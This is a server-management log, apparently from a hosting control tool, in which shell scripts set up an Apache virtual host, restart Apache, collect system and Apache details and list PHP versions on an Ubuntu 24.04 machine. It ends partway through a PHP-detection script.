MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-11 18:35:23: Establishing a connection
2026-03-11 18:35:43: Establishing a connection
2026-03-11 18:35:43: 

PUT: /tmp/pkp487218

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "sites-available/persianchurch_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-11 18:35:43: 

chmod 755 /tmp/pkp487218; /tmp/pkp487218; rm /tmp/pkp487218

2026-03-11 18:35:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
sites-available/persianchurch_www_info.conf 0



2026-03-11 18:35:43: 

PUT: /tmp/pkp150734

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=persianchurch_www_info.conf
TARGET=sites-available/persianchurch_www_info.conf
DOCROOT=/var/www/persianchurch_www
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/persianchurch
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "../sites-available/persianchurch_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2/sites-available/persianchurch_www_info.conf'
	echo 'file(/etc/apache2/sites-available/persianchurch_www_info.conf= 1'
fi


2026-03-11 18:35:43: 

chmod 755 /tmp/pkp150734; /tmp/pkp150734; rm /tmp/pkp150734

2026-03-11 18:35:43: 


chown: invalid user: ‘phil:phil’
link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2/sites-available/persianchurch_www_info.conf
file(/etc/apache2/sites-available/persianchurch_www_info.conf= 1




STDERR:
chown: invalid user: ‘phil:phil’


2026-03-11 18:35:43: 

PUT: /tmp/pkp146309

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-11 18:35:43: 

chmod 755 /tmp/pkp146309; /tmp/pkp146309; rm /tmp/pkp146309

2026-03-11 18:35:43: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-11 18:35:43: Performing Server Status
2026-03-11 18:35:43: 

PUT: /tmp/pkp166848

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-03-11 18:35:44: 

chmod 755 /tmp/pkp166848; /tmp/pkp166848; rm /tmp/pkp166848

2026-03-11 18:35:44: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-101-generic



2026-03-11 18:35:44: 

PUT: /tmp/pkp982905

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-03-11 18:35:44: 

chmod 755 /tmp/pkp982905; /tmp/pkp982905; rm /tmp/pkp982905

2026-03-11 18:35:44: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 733369
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      733369  0.0  0.9 324528 39608 ?        Ss   Mar10   0:12 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-03-11 18:35:44: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'mars',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'proxy_module',
      27 => 'proxy_fcgi_module',
      28 => 'reqtimeout_module',
      29 => 'rewrite_module',
      30 => 'setenvif_module',
      31 => 'socache_shmcb_module',
      32 => 'ssl_module',
      33 => 'status_module',
    ),
  ),
)


2026-03-11 18:35:44: 

PUT: /tmp/pkp832875

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-03-11 18:35:44: 

chmod 755 /tmp/pkp832875; /tmp/pkp832875; rm /tmp/pkp832875

2026-03-11 18:35:44: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-03-11 18:35:44: 

PUT: /tmp/pkp372540

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
